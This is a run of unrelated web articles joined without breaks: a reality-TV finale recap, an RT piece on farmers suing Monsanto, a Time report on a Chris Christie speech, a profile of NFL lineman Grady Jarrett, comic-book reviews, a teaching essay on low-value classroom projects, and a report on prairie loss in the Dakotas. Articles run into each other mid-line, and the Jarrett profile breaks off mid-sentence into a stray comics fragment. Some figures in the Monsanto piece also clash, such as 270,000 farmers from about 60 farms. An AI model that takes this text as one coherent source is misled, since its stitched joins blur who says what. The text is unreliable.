Samir: I love this moment where Tyra talks about Mamé’s difficulties with her family and CUT to CU on Mamé’s Mom. Plus, that togetherness Tyra says she sees in their photo together is so not there, they look like they were pasted together from separate photo shoots. It’s got nothing on Nyle and his mama, (even though Mamé won that shoot). They both may be “vessels” (according to Tyra) to carry greater things than an ANTM crown, but this review of their work all season looks WAY better for Nyle. We’ve been saying that all season anyways, so …I wonder how this will turn out? (I’m not really wondering btw, it’s painfully obvious). And Nyle hugging everyone in the crazy Saw death trap shoulder piece is amazing-he literally could poke your eye out in that thing! And your heart, literally.
Margaux: I love how Nyle, Mamé, and Tyra stare at screen with shows logo on it, like they’re pretending to react to a countdown that isn’t happening, with all the anticipation they can muster. It’s truly a perfect, comedic moment, made even funnier by how earnest the whole thing is. Mamé takes losing like the perfect pageant girl, when Nyle hugs her, it looks like she’s getting stabbed in the face by the “wearable” art Nyle has on, what art piece has fuckin’ spikes coming out to impale you?
Honestly, the best person won, congratulations to dream boat Nyle! Umm, can we party with your Mom? She seems awesome.
Samir: Perhaps one day we will. And with the help of Nyle’s sexy ASL tutoring app with video tutorials to show us how to sign, we’ll have a wonderful conversation about his sexual fluidity. Fierce and love, Tyra.
Margaux: I can’t believe it’s really over, like, no new Top Model episodes will be airing on CW. Tyra’s good-bye sign off left a lot to be desired, she couldn’t come up with something more than, “you’re still in the running to America’s Next Top Model, and being a flawsome you”, now I know what it must feel like to be a beautytainer.
Stars for the episode, “Finale Part 2” and cycle 22?
Samir: Like her Harvard business degree, flawful is more like it. But this episode did make me happy because someone we can see perhaps actually being successful won, and he’s not a douchebag. He’s a sweet, sexy likable guy who seems to have something to offer everyone. How fitting that by the time they finally get this right again, the show has ended. What else will feed the India-ink blackness of my heart now? 5 stars.
Just because America’s Next Top Model is over, doesn’t mean we’ll stop talking about it. Subscribe or download our podcast, We Were Rooting For You! where we’ll be continuing our coverage of the best modeling reality show. Thanks for your readership over cycle 22, and cycles past, fierce and love, Margaux & Samir.Around 300,000 organic farmers think that Monsanto, the biotech giant known for genetically modifying Mother Nature’s handwork for profit and pushing over the little guys all the while, is pretty seedy.
Now a judge in New York is debating if Monsanto’s questionable methods will go before a jury.
Judge Naomi Buchwald of the Southern District Court of New York says she will have a decision on March 31 in regards to whether a lawsuit waged against the mega-corporation Monsanto should make it to trial.
Last year, 270,000 organic farmers from around 60 family farms tried to take Monsanto to court over issues pertaining to a genetically-modified seed masterminded by the corporation. Not only were the smaller farms concerned over how the manufactured seeds had been carried by wind and creature alike onto their own plantations, but the biggest problem perhaps was that Monsanto was filing lawsuits themselves against farmers. Monsanto went after hundreds of farmers for infringing on their patented seed after audits revealed that their farms had contained their product — as a result of routine pollination by animals and acts of nature. Unable to afford a proper defense, competing small farms have been bought out by the company in droves. As a result, Monsanto saw their profits increase by the hundreds of millions over the last few years as a result. Between 1997 and 2010, Monsanto tackled 144 organic farms with lawsuits and investigated roughly 500 plantations annually during that span with a so-called “seed police.”
Farmers have been concerned that unless Monsanto is stopped, their reign over the world’s agriculture will surpass anything imaginable. They are seeking pre-emptive protection from those questionable lawsuits and next month Judge Buchwald will weigh in on if the matter should go to trial. Her honor recently listened to oral arguments on Monsanto’s Motion to Dismiss, which the corporation hopes to win to cease the charges being brought by a total of 83 plaintiffs representing now over 300,000 organic farm-affiliated businesses. The legal team for the small-time farmers also offered their arguments.
“Monsanto’s threats and abuse of family farmers stops here,” says Jim Gerritsen, president of the Organic Seed Growers and Trade Association. “Monsanto’s genetic contamination of organic seed and organic crops ends now. Americans have the right to choice in the marketplace — to decide what kind of food they will feed their families — and we are taking this action on their behalf to protect that right to choose.”
Elizabeth Archerd, the director of a Minneapolis food co-op, adds in support of the farmers to the New York Times, “Pollen and DNA do not play by the USDA’s rules.” Although hundreds of thousands of farmers feel the same way, it’ll take a judge to decide the next step in the case. From there though, things could get dirty. Michael Taylor, a former attorney for the US Department of Agriculture and lobbyist for Monsanto was recently appointed to a federal role as the deputy commissioner for foods at the United States Food and Drug Administration (FDA). Since then, the FDA has refused requests to label genetically modified products as such despite demands from consumer protection groups.
RT
PictureNew Jersey Governor Chris Christie said Sunday that the U.S. is no longer a model for the world, lamenting a lack of American moral leadership on the global stage in a speech before a group of Jewish philanthropists.
Delivering an indictment of President Barack Obama’s foreign and domestic policy in a speech in New York City, the Republican 2016 hopeful said dysfunction in the nation’s capitol is harming American interests overseas. “There was a time in this world that America’s government was something to emulate,” he said. “No one can realistically believe today, when we have Democrats and Republicans in Washington, D.C., that not only don’t govern but barely speak to each other, that we’re any longer a model for the world.”
Speaking at the Champions of Jewish Values Gala in New York at an event hosted by This World: The Values Network, an organization headed by Rabbi Shmuley Boteach, Christie said America’s credibility is being undermined by the Administration sending inconsistent signals about “who our friends are … and who our enemies are.” He added the U.S. must “be the strongest moral power for what is good and what is right in the world.”
Christie criticized Obama for failing to follow through on his threat to punish Syria for using chemical weapons on its citizens, acknowledging there may be a debate about drawing a “red line.” “Here’s something that should not be up for debate, that once you draw that red line, you enforce it, because if you don’t, America’s credibility will be at stake and will be at risk all over the world,” he said.
The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now
Hinting at his own political ambitions, Christie said the nation’s political leaders should “stop singing a happy tune” about the state of the country, both at home and overseas.
“Foreign policy and America’s role in the world is something that is often not popular to discuss in political campaigns,” he said. “But I suspect that every person who has had the opportunity to lead this country recognizes fairly early on that it is that role that will define the character and the strength of their leadership.”
“We need to stand once again loudly for these values,” he continued, making the case for an interventionist foreign policy even as the isolationist wing of the GOP has grown more vocal. “And sometimes that’s going to mean standing in some very messy difficult places, and standing strong and hard for those things that we believe in.”
“It is now our turn,” Christie said. “The torch is firmly in our hand.”
Also present at the event were Texas Governor Rick Perry and Republican megadonor Sheldon Adelson, who sat at the table with Christie. Christie was forced to apologize to Adelson in March after using the phrase “occupied territories” in a speech to the Republican Jewish Coalition. Boteach defended his decision to honor Christie at the start of the program. Christie spoke vaguely about “friends at risk around the world” but did not mention Israel in his 18-minute address.
Contact us at editors@time.com.Mostly, Grady Jarrett had been leading a quiet career. Built like a post office letter box, he seemed just about as flamboyant as one, too. All that speed and flash on the Falcons’ defense, someone had to do the hard trench work on the interior of the line.
Utility doesn’t often grab a lot of attention. No one steps on a yacht and says first thing, “Gee, what a spiffy anchor.”
Then, Jarrett went and blew up in the last game of the 2016 season. Had as many sacks in that single night as he had in all the 18 games preceding it. Put Tom Brady on his celebrated keister three times, twice over a span of 83 seconds in the fourth quarter in what should have been a defining sequence.
Suddenly the international media corps was scrambling to identify this wrecking ball who was included in none of their pregame analyses.
And murmurs arose in the press box: Do we really have to give at least a moment’s thought to making Jarrett the most improbable Super Bowl MVP since the NFL hijacked the Roman numeral?
It was strange being Grady Jarrett at Super Bowl 51. Here he had a transcendent game in a global event. And, yet, his team would sacrifice a 28-3 lead to satisfy the New England Patriots’ unquenchable title lust and to write a new entry in the log book of soul-sucking defeats.
“We shared some tears afterward,” said Jarrett’s mother, Elisha Jarrett. “Still, he felt great about his performance.”
A contradiction of emotions fogged his brain. “I’d be lying to you if I didn’t tell you it was a euphoric feeling having that success in that moment,” Jarrett said. “But I definitely wanted more than anything to get that win for my team, for the city. Being an Atlanta guy (Rockdale County High), it meant that much more to me personally.”
Last week it was Falcons minicamp time, an exercise in page-turning with this team and this defense looking to glue itself back together and do something memorable with the rest of 2017.
Grady Jarrett
The question in Jarrett’s case is what will he make of his unique Super Bowl experience? And what does that one game do for the perception of him as a player and for his personal expectations?
In just his third season, Jarrett already has found a voice in the community. He has latched onto various anti-bullying efforts, making that the centerpiece of his speeches to school kids around the area, as well as the one he made a year ago to the Georgia State House.
His profile-raising performance in Houston is sure to help drum up interest in his first charity golf tournament back in his home county next Thursday, as well as the kids football camp at Rockdale County High that will follow that weekend. Tying a Super Bowl sack record is a terrific promotional tool.
The NFL defensive tackle, of course, had all the physical tools to be on the other side of the bullying divide. Or, at least, be an impartial observer to the cruelties of youth as he kept to the high school athletic clique.
But, Jarrett said, “As a kid I always had a soft spot for people who felt they might have been left out. I was always attracted to the person who wasn’t the most popular. You get a deeper connection when you sit down and talk to someone who just wants someone to talk to.
“It has been good connecting with kids and talking about being a good person and not falling into being “Mr. Popular.” At the end of the day, life is about how you treat people.”
At a little more than 6-feet tall and biscuit or two more than 300 pounds, Jarrett has long fought the idea that he is not stout enough to be an effective impediment at the core of the defensive line. But leverage and quickness have been useful equalizers for him.
In the world of more fathomable |
up. So very extreme 90s. Just no.
Out of Continuity Reviews:
Batman/Teenage Mutant Ninja Turtles #2 – James Tynion IV, script, Freddie E. Williams II, art and cover.
Ray: 8.5/10
Corrina: Fun!
Ray: The first issue of this miniseries was a lot of fun, but it had one problem that happens with a lot of crossovers – the two heroes don’t actually meet until the last page. Fortunately, that just means things pick up very quickly this issue, as the Turtles and Batman react exactly as you’d expect to meeting four talking giant turtles/a man in a bat suit – they fight. It’s almost a requirement in crossovers that the heroes fight when they meet, but Tynion manages to make this old trope fresh. It’s very clear that Batman isn’t taking this fight very seriously, and is more just trying to get the measure of these weird creatures. Meanwhile, the Turtles are perfectly in character – Mikey is star-struck, Raphael wants to destroy Batman for taking his Sai, Donatello tries to reason with him, and Leo puts up the best fight. Mike’s continued fan-boying over Batman back at the lair is hilarious.
There’s also a great hook that gives the crossover a sense of urgency, as Bruce Wayne and Lucius Fox discover when researching the evidence from the other world – the DCU’s renders the mutagen in the blood inert. So if the Turtles and Splinter stay on this world too long, they’re going to revert back to normal turtles and a rat. It doesn’t start to happen this issue, but it’s a nice sword of Damocles to hang over their heads. And while the heroes get all the press, I have to say I really enjoyed watching Shredder utterly handle Penguin and his henchmen with ease. The IDW Shredder is definitely one of the most intimidating and competent versions of the character. As a huge fan of both properties, I am loving this book.
Corrina: I had no problem with the main characters not meeting in the first issue simply because the story dropped us into stuff already happening, rather than making us read a lot of setup. Tynion’s gift for dialogue helps when writing the Turtles and, even though I haven’t read a TMNT comic in ages, made each character distinct. This feels like an organic story rather than a story smashed together to take advantage of crossover appeal. Still, fans are not forgotten: watching Shredder and Penguin interact is a whole lot of fun. I look forward to more of Splinter/Batman.
Batman ’66/The Man from U.N.C.L.E. #2 – writer, Jeff Parker, Penciller, David Hahn, inkers, Karl Kesel & David Hahn
Ray: 8/10
Corrina: Good all-ages story
Ray: The less high-profile but no less entertaining crossover from the 60s finally introduces its respective heroes, as it unearths some interesting connections between the two properties and sets up a unified and dangerous threat. As the agents of U.N.C.L.E. investigate the mass Arkham breakout, their handler Alexander Waverly reveals that his top suspect is Bruce Wayne, a key donor to Arkham – and that he has an in to Wayne Manor, courtesy of his old friend from the service, Alfred Pennyworth. I’ll admit a soft spot to anything that references Alfred’s military and spy history, so I love this.
Meanwhile, the villains are taken to an underground lair where a mysterious unseen figure inducts them into THRUSH, UNCLE’s evil rival organization. It all reaches its climax at a Wayne Manor party, where Napoleon and Illya work their way into Wayne’s inner circle – and Napoleon charms Barbara Gordon. However, the party is interrupted by Egghead and the rest of the villains, as they crash the party with THRUSH technology, steal an experimental satellite, and get away, leaving the party with Ivy’s giant plant-men to contend with. It’s a great, old-school spy thriller that perfectly combines the vibes of both properties. Glad to see ’66 continuing, and I hope to see more crossovers in the future. Dare I hope for Bionic Woman?
Corrina: I’d love to see the Bionic Woman! This title has morphed, somehow, into an all-ages Batman book where crazy adventures can happen. The longer the comic runs, the deeper the storyworld becomes, adding a depth that wasn’t in the television show. Still, no danger of silliness disappearing, even with the addition of the U.N.C.L.E Agents. And did I detect a bit of a wink to the slash fandom featuring our two agents? I believe I did.
Superman: American Alien #3 – Max Landis, writer, Joelle Jones, illustrator
Ray: 2/10
Corrina: What the Heck is This?
Ray: This week we got an origin story that sheds new light on a less-know period in the life of a classic hero. We also got American Alien. The first issue had some endearing moments, but every successive issue feels like it’s trying to give us the weirdest, most cynical take on Superman ever.
This issue has Clark winning a trip to Cancun, only to have his plane crash in the Caribbean. He saves the pilot and swims to a nearby Yacht – and then gets picked up and gets mistaken by a bunch of drunk rich kids (including Ollie Queen and Victor Zsasz) for the guest of honor – Bruce Wayne. As he tries to explain, he’s pulled aside by a young woman named Barbara Minerva (yep, that’s her) who explains that Bruce never shows up to his parties and Clark might as well play along. This includes a scene where Clark complains about how the price of caviar could be used to help lots of people, but mostly so we can have lots of scenes of Superman partying, getting drunk, and having casual sex with the future Cheetah. After a predictable breakup with Barbara at port, he heads off – and we see Bruce Wayne watching him on closed circuit camera from Ra’s Al Ghul’s headquarters.
Then we get a weird one-page story where Mr. Mxyzptlk taunts us that more people remember him than us, so maybe he’s real and we’re not. This is one of the weirdest Superman comics I’ve ever read, and it’s a good example of how some flashbacks and origins really don’t need to be told. I would have been just fine never knowing about Superman’s college party days. Joelle Jones’ art is pretty good throughout, but it’s a shame it’s wasted on a Superman story that adds nothing to a well-known origin.
Corrina: What the heck is going on with this series? First, it grounds Clark in reality and hints that Smallville joins together to protect his secret ID from the outside world, which is excellent, and then issue #2 devolved into a weird hostage action flick, and now I don’t know what issue #3 hopes to accomplish.
It’s not that I object to Clark partying or finding first love but Bruce Wayne’s yacht is an odd choice. (Is Bruce watching the whole time? That’ll add fuel to the Bruce/Clark shippers.) Also odd is pairing Clark with Barbara Minerva. I disagree with Ray that the sex is casual–it seems to mean far more to each of them than that. That Clark would have a youthful fling makes perfect sense but couldn’t we use someone from his own mythos? The future Cheetah is, I guess, supposed to come up when Superman encounters Wonder Woman but it’s still random. Why not use Lori Lemoris to broaden Clark’s world?
Clark’s idea that he has a responsibility to the wider world, which dovetails with Barbara Minerva’s goals, reminded me a bit of Superman: Birthright. Not good for this series, as Birthright is a much better story.
My main reaction to this issue is that it’s just plain dumb. Yet, it’s selling far more than most of the other books in this recap. The power of a Hollywood name. And, to be fair, the power of Jones’ excellent art.
Ray Goldfield is a writer/editor for Grayhaven Comics, as well as the author of two novels currently in editing. He’s a comic fan for over 20 years, particularly of DC and Superman, Batman, and the Teen Titans in particular. Now that Cassandra Cain is coming back, he will not rest until DC greenlights a Young Justice: Season Three comic.
Disclaimer: GeekMom received these comics for review purposes.
Advertisements
Share this: Twitter
Facebook
Tumblr
Reddit
LinkedIn
Pinterest
More
Print
Pocket
Telegram
WhatsApp
Skype
EmailListen to this post as a podcast (sponsored by Kiddom):
An earlier version of this post was published in 2013. This is an updated version.
A few years ago, I was working with a group of student teachers. One of them—we’ll call him Eric—was teaching seventh-grade social studies. His class was studying ancient Greece. The standards for grade 7 required teachers to address concepts like the government, economics, and culture of this era. For his 5-day unit, Eric was going to focus on the “culture” part.
On the first day of the unit, which Eric developed with his cooperating teacher, students would read the chapter of their textbook that swept through three centuries’ worth of ancient Greek culture in about five pages. Then they’d write answers to a set of end-of-chapter questions. On days 2 through 4, students would create their own Grecian urns by wrapping balloons with papier-mâché. Once the urns were dry, students would paint them in a similar style to that of the Greeks, incorporating something personally meaningful as the main artistic feature. Finally, they would present their urns to the class. On day 5, they would be given a quiz asking them to match 10 vocabulary terms, such as comedy, tragedy, urn, and Olympics, to their definitions.
Feeling more than a bit skeptical, I asked Eric to show me the standards his unit was aligned with. He rustled through some paperwork, then pointed to this language from the state standards: Students will demonstrate an understanding of the complexity of culture by exploring cultural elements (e.g., beliefs, customs/traditions, languages, skills, literature, the arts) of diverse groups and explaining how culture served to define groups in world civilizations prior to 1500 A.D. and resulted in unique perspectives.
I read this out loud to Eric, then asked him to show me exactly how his plans taught or measured the standard.
For a long moment, he said nothing.
Finally, he shrugged and told me the unit was basically what his cooperating teacher had “always done for ancient Greece.” She’d told him the urn project was really fun, and that the kids loved it. The only problem was, it had nothing to do with the standards. Draping wet, gluey newspaper around a balloon has nothing to do with deepening one’s understanding of societies and cultures.
All Hands-On Tasks Are Not Created Equal
I wish Eric’s story was just a rare example, but in my work with student teachers, as a classroom teacher myself, in my many years as a student, and now as a parent, I’ve seen far too many “Grecian Urns”: projects that look creative, that the teacher might describe as hands-on learning, interdisciplinary teaching, project-based instruction, or the integration of arts or tech, but that nonetheless lack any substantial learning for students. What’s worse, because these activities are often time-consuming, they take away from other tasks that would give students the chance to wrestle with more challenging stuff.
In their groundbreaking book Understanding by Design, Jay McTighe and the late Grant Wiggins describe this problem as the Sin of Activity-Oriented Design. Instead of focusing on the desired learning outcomes, this approach merely seeks out tasks that might be fun, or at least keep kids busy: “The activities, though fun and engaging, do not lead anywhere intellectually. (They) lack an explicit focus on important ideas and appropriate evidence of learning.”
To illustrate this, Wiggins and McTighe describe a 3rd grade unit on apples. In this two-week unit, students read about Johnny Appleseed, paint pictures of apples, do math problems that involve apples, write apple-themed stories, make applesauce, and take a trip to a local orchard. Students probably enjoyed all of these activities, and it’s likely that both teachers and students were charmed by how cleverly the theme was woven into so many different content areas. Throughout the unit, students probably seemed engaged, the classroom was full of colors and productivity and maybe even collaboration, but what valuable learning actually took place?
Let’s move our lens to the higher grades. Here, the Grecian Urns might involve no crafts at all, but still force students to ride along curricular tangents that, rather than inspire and ignite a passion for learning, lead to dead ends.
Take the math and social studies teachers who decide to co-teach a two-week unit on famous mathematicians. Math and history, right? Students spend most of the first week on computers, researching the mathematicians’ birthplaces, families, deaths, and contributions to the field (which most students simply copy, because the actual mathematical concepts are over their heads…how many eighth graders do you know who can explain the Fibonacci sequence?). They spend another three class periods creating PowerPoints or Prezis full of facts about these obscure pioneers in math, complete with neat-o animations and stomach-turning transitions, and another three days presenting these to the class…
For what?
None of the kids got any better at math, nor did their thirst for history grow. But to someone walking by, maybe even to an administrator doing a formal observation, this unit would look kind of amazing. Students doing online research! Cooperative learning! Technology! Interdisciplinary study!
No!
These teachers misunderstood and misapplied the concepts of interdisciplinary study, hands-on learning, and tech integration, and two weeks of precious instructional time were wasted because of it.
How to Spot a Grecian Urn
It could be argued that all lessons have some educational value, that any kind of reading and writing, manipulating materials and words, interaction with peers, and exposure to the world in general offer opportunities for learning. With that in mind, think of “Grecian Urn” as more of a relative term than an absolute one: Few lessons will be pure Grecian Urns; almost any lesson will probably have some arguable educational value. Far more lessons will simply contain elements that are Grecian Urn-ish; we can make these lessons better if we try to minimize those elements.
The best way to identify a Grecian Urn is to look at a task and ask this question: Does it consume far more of a student’s time than is reasonable in relation to its academic impact? If students spend more time on work that will not move them forward in the skill you think you are teaching, then it may be a Grecian Urn. And it may need to go.
Here are some more specific ways to spot the Grecian Urns in your teaching, and what you could do to replace them:
1. Excessive Coloring or Crafting
If your lesson requires more time coloring, cutting, or pasting than meaningful work with the content you’re trying to teach, it might be a Grecian Urn. If you are a primary teacher and students need to develop their fine motor skills, or if you are, in fact, an art teacher, then these activities have a clear place in your classroom. Everyone else should use these tasks more sparingly.
This doesn’t mean you should never ask students to color, cut, paste, sing, act, or draw, but every time you do, ask yourself if that work is contributing to learning. If not, there may be a way to cut down the time it takes. Suppose you want students to draw illustrations of vocabulary words. Adding visuals can work wonders to boost memory, so this is an instructionally sound decision. But is it necessary for these illustrations to be colored? On posterboard? Or hanging from a mobile? Would a simple line drawing beside each word on a regular sheet of paper serve the same purpose?
Now if your goal is true integration of the arts into your curriculum, I have two articles to recommend to you. Both of these really dig into what it looks like when teachers use art to really enhance students’ learning: read this post on arts integration from MindShift and this one from Edutopia to learn more about what this looks like.
2. Excessive “Neat-O” Tech
This is the tech equivalent of item #1: If students are spending lots and lots of time searching for images, making digital drawings, adding animations or effects to slideshows, adding sound effects or special titles to podcasts and videos, you are probably heading into Grecian Urn territory.
The key phrase here is lots and lots of time: Our students will absolutely benefit from learning how to combine text with images, manipulate presentations to make them more interesting, and make use of all the digital tools at their disposal. But when a student burns two hours listening to sound clips so he can make a photo of Langston Hughes zoom onto his PowerPoint slide to the sound of screeching brakes, well, he’s probably not doing much thinking about the Harlem Renaissance.
So when you’re assigning work that requires the creative use of tech, be mindful of how much time students are putting into the bells and whistles. Look at your rubric and make sure you haven’t required too many of these bells and whistles to begin with. And if possible, see if they can make the bells and whistles relevant: If students want sound in their slideshow about the Harlem Renaissance, have them add a Duke Ellington song, music that’s actually from that era, rather than a funny sound effect.
3. Low-Level Thinking
Most of the thinking in a Grecian Urn task is on the lowest level of Bloom’s Taxonomy. In other words, the task appears to be creative, but the primary academic work is rearranging and regurgitating basic facts or definitions.
Let’s look at two possible assignments for students to demonstrate their understanding of the Food Pyramid. In one class, the teacher has students re-create the pyramid as a hanging mobile. They write all the parts of the pyramid on pieces of colored paper and hang those papers onto a hanger or something. They might also be asked to draw or cut out magazine pictures of foods that represent items within each part of the pyramid. All of this work is at the Remember and Understand level of Bloom’s. Students are more or less defining stuff, and yet the task still takes an awfully long time to complete. Grecian Urn.
But what’s the point of teaching the Food Pyramid? Don’t we want students to learn it so they can make healthy eating choices? Here’s a different assignment: Have students write up a 3-day eating plan that applies the principles of the Pyramid. Sure, they can draw a border around it if they like. This will take five minutes. They can choose a cool font for the headings; that’s 10 minutes. But shouldn’t the real time-consuming work be put into deeply wrestling with the content itself?
4. Big Points for “Creativity”
An assignment might be a Grecian Urn if a significant part of the grade is based on “creativity” or “attractiveness.” And by the way, I’m a big design snob. I think presentation is important. But if more than 10 percent of a grade is based on these things—and I even think 10 percent is pushing it—we’re not measuring the learning that’s supposed to be taking place.
The fix for this couldn’t be easier. Cut way back on the points you assign for creativity or attractiveness. And if you find that the projects you get don’t excite you because they are not colorful or pretty, it’s time to start planning projects that will excite you with their content.
5. Word Search
If the task is a word search, there’s a very strong chance it is a Grecian Urn. Some argument could probably be made for how word searches reinforce letter recognition in the very early grades. Fine. But if some form of letter recognition, decoding skill, or language development is not the curricular intent of your word search, then your word search is probably a Grecian Urn. If you are a teacher who doesn’t have time to do things like project-based learning or Genius Hour, but you have time to make word searches and have students spend time doing them? Drop the word searches and you just bought yourself and your students at least 30 extra minutes per week.
What Then?
So you have identified a couple of Grecian Urns in your lessons. What do you do about them?
One option is to cut them out. Just move those lessons out of your plan book and replace them with activities that will actually result in learning. Look again at your goals: What do you want students to know or be able to do by the time they’re done? And what tasks will help them get there?
The other option is to revise them. Let’s go back to Eric and his urns. Maybe instead of using up three class days on all that wet newspaper business, he could have students draw their urns on paper. He could build the historical relevance by providing students with images of typical Greek urns, have them choose one, then draw their own urn with images that parallel those in the original, but with a modern twist. So if the urn they choose depicts a battle, they might draw something on their own that represents a significant war or other “battle” that has occurred in the last century. Students could then add captions to their drawings, pointing out these details and the thinking behind them.
If you really like your Grecian Urn activity, you don’t have to completely drop it. But if you can tweak it to make it take less time and build in more curricular relevance, you’ve made it a lot less “urn-y” and, in turn, given it a more rightful place in your classroom.
The Fun and Sanity Loopholes
Having said all this, I think it’s important to note that not all classroom activities have to have a clearly defined, rigorous academic purpose. There will be times when a task that would be called a Grecian Urn in one context serves a completely different purpose in another.
The Fun Loophole
Building relationships with students, creating a family-like atmosphere, and making the classroom a place students love to come has incredible value. If I didn’t believe this, I never would have written something called When a Principal Whips and Nae-Naes. Some things should just be done for fun. If students absolutely love playing with the drawing app on their iPads, make that an option for free time. If students want to create a collage as a thank-you gift for a departing student, by all means let them.
The Sanity Loophole
At other times, you just need your students to be still and quiet. Maybe you’re coming down with a stomach bug or you just got bad news over the phone. Maybe the morning assembly left you with only 6 minutes of class time and you know you’re not going to get anything done. Maybe they have driven you to the absolute brink and you’re about to start throwing things. The best teachers in the world have days when they just can’t be on. At those times, good old-fashioned busywork is like manna from heaven. That’s when you have them color. That’s when you pull out the word searches.
When used for fun or sanity, these tasks are no longer Grecian Urns; they’re more like classroom management strategies. The important thing is to know the difference.
That’s what I tried to teach Eric as we revised his unit. We had him use some graphic organizer activities, where students did side-by-side comparisons of ancient Greek and modern-day cultural elements. Students then completed a lengthy questionnaire, where they took on the identity of a person in Ancient Greece. Each student chose a social rank, age, and gender, and wrote about what their life was like. Some questions asked them to describe their feelings about other people in their community and about social issues. They had to draw a few sketches of some of the artifacts in their daily life and describe why these artifacts were important to them. Once all students completed these questionnaires, they worked together to arrange them on a wall in a way that represented their social hierarchy.
The activity took three days. Students collaborated, used technology to research their person’s life, and even used a bit of color for their sketches. In the end, they understood a lot more about ancient Greek culture and about how culture influences who we are.
And they did it all without a single strip of gluey newspaper. ♦Video (21:31) : The Minnesota prairie is disapearing. Modern farming techniques and record corn and soy prices are resulting in many native prairies being farmed.
HIGHMORE, S.D. -- Bruce Roseland runs cattle here in the heart of the South Dakota grasslands, in the same place where his great-grandfather ranched more than a hundred years ago. But today, when he looks out his kitchen window, the prairie that once reached from horizon to horizon is gone. Instead, he sees neat rows of corn marching up to the edge of the blue sky, growing where not too long ago it never grew at all. "Did we ask the Indians' permission to come out here and destroy their way of life?" said Roseland, who will be the last of the men in his family with the gnarled hands of a rancher. "Well, that's what's happening to us. Except it's technology." The 10,000-year-old native prairie that once stretched from Saskatchewan to the Gulf of Mexico has become one of the most threatened ecosystems on Earth -- more so even than the world's tropical rain forests, ecologists say. In Minnesota and elsewhere, only about 1 percent of the original prairie now lies untouched, and every year across the Great Plains millions more acres of grasslands are turned into corn, soybeans and other crops. This hastening transformation is being propelled by a perfect alignment of forces -- rising global demand for food and energy, advances in farm technology and, some say, federal policies that take the risk out of farming marginal lands. Together, those forces are giving a boost to an otherwise lackluster economy, especially in the rural Midwest. But conservationists say the country is facing the loss of a national heritage and an irreplaceable ecological resource. These biologically rich grasslands and wetlands cleanse the water of great river basins, reduce the pace of global warming and support a web of life that includes thousands of unique plants, birds and other animals. In Minnesota, that concern has prompted a coalition of state and conservation leaders to launch an ambitious, $3.5 billion project to restore some of the rare grasslands the state has lost over the last century. "If we went out there and cut down redwoods in California, we would have people up in arms," said Dave Trauba, who manages a protected state prairie in central Minnesota. "But we lose prairie every day." Since 2008, the rate of land conversion nationally has exploded. In just four years, some 37,000 square miles of grasslands, wetlands and shrublands have been converted to row crops, according to the Environmental Working Group (EWG) and the Defenders of Wildlife, which analyzed federal satellite images to document the change. Minnesota and the Dakotas alone lost an area the size of Connecticut. Of the Minnesota land that was once tallgrass prairie, only one-fourth is in grasses of any kind today, according to satellite data. And only about 300 square miles, scattered in remnants across the state, remains in its virgin state. The change, said Scott Faber of the EWG, "is unlike anything we've seen in a generation." The same transformation is speeding across much of the globe. Temperate grasslands have become one of the most threatened biomes on Earth, disappearing eight times faster than they are being protected, according to a pioneering study published in Ecology Letters, a respected environmental science journal. The Corn Belt moves west It's dry in central South Dakota this year, much as it is across North America. But this was always a semi-arid place, a region where people habitually talk about rainfall in fractions of a hundred -- like the "three-hundredths" of an inch that fell on parts of Jim Faulstich's ranch one day in late July. The rain brought a faint blush of green and a sparkle of wildflowers to his tan pastures and perked up his fat cattle. But the nearby crops were struggling. As he drove down the straight roads that form a giant checkerboard on the flat land, Faulstich pointed out fields of burnt corn and stunted soybeans rising from the dead grasses. In recent years, new varieties of genetically modified corn and soybeans have allowed farmers to push the Corn Belt westward, planting row crops on land once better suited to grazing cattle. Today, that tough prairie sod doesn't have to be plowed, just planted. The new corn and soybean seeds are immune to Roundup; farmers can kill the native grasses with the herbicide, then plant right over them. It's just one of the new technologies that have helped farmers conquer the dense thatches of grass that thwarted the original pioneers. But the climate in central South Dakota is harsh: Roundup killed the grass, but drought is killing the crops. The natural events -- heavy spring rains and bone-dry summers -- that are a part of life in the Dakotas might have made farmers more cautious, despite the new seed varieties. But today federally subsidized crop insurance often means they get a payoff even when nature doesn't cooperate.
According to one federal study, the 16 South Dakota counties that experienced the greatest loss of grasslands are also the counties most susceptible to drought and crop loss. Farmers in those counties also had twice the insurance payments as the rest of the state. "The greatest losses of habitat are in those parts of the country where the government is providing the greatest amount of crop insurance," Faber said. Over the past 15 years, farmers in Minnesota collected some $3 billion in crop insurance payments, according to Faber's organization. Farmers in the Dakotas received considerably more. A lifelong farmer and rancher who can name all the wildflowers that bloom in his pastures, Faulstich is appalled by what he sees happening around his pastures. But he understands it all too well. Livestock operators just can't compete against the combined forces of crop insurance and high commodity prices. Around Highmore, they estimate they can make $50 to $100 an acre by grazing cattle; corn is fetching $300 or more per acre this year, regardless of how good the yields are. "It's hard to argue with it from an economic perspective," Faulstich said. To the defenders of federal farm programs, however, crop insurance is a vital safety net for farmers and the nation's food system; they say it plays only a minor role in farmers' decisions. Record commodity prices, new types of seed and agricultural technology are far more influential, said Thomas Zacharias, executive director of National Crop Insurance Services in Kansas City. "Yes, crop insurance is one of several factors," he said. "But the primary factors are product price, and you do have the progression of new crop technology." A changing landscape Those forces already have altered the landscape in Minnesota, where most native prairie disappeared decades ago. Now they are transforming the land around Highmore. Not too long ago, most of South Dakota was sea of grass that changed colors with the seasons, dotted with the "prairie potholes" that give the region its name -- ponds and wetlands filled with ducks and white egrets. Today, only 60 percent of the state is in grass, according to data from EWG, and in North Dakota it's about half. Faulstich sees the resulting changes every season. Local roads, he said, sometimes flood. Heavy spring rains, once sequestered by wetlands and deep-rooted prairie plants, instead pour off the cropped fields. Eventually the water, often carrying fertilizer, herbicides and pesticides, makes its way to the Missouri River, then to the Mississippi and eventually to the Gulf of Mexico's "dead zone'' -- an area near the mouth of the great river, now nearly 6,000 square miles in size, which is so polluted that it can no longer sustain most aquatic life. More corn and soybeans means fewer birds. In the dry summer months, some of the richest soil in the world sometimes blows away on the wind. These days Faulstich is telling his story in Washington, D.C. This year or next, Congress is expected to take up a new farm bill that could determine the fate of his way of life and, perhaps, the Midwestern prairie. "If we need more corn and it's a level playing field, that's the way it is," he said. "But if there are incentives to make this happen - that's a disaster in the making." 'We love ethanol' Brian Hefty, who is reaping the benefits of the new agriculture, sees things differently. He dismisses the arguments for preserving more prairie with a critical question: "How much do you need?" he asked. Hefty and his brother, Darren, are third-generation South Dakota farmers. They own 2,500 acres of corn and soybeans near Sioux Falls, and they run a chain of 34 stores that provide farmers in eight states with seeds, chemicals and equipment to drain their fields. Around the company's main office north of Sioux Falls, corn is now as common as it is in Minnesota. A handwritten 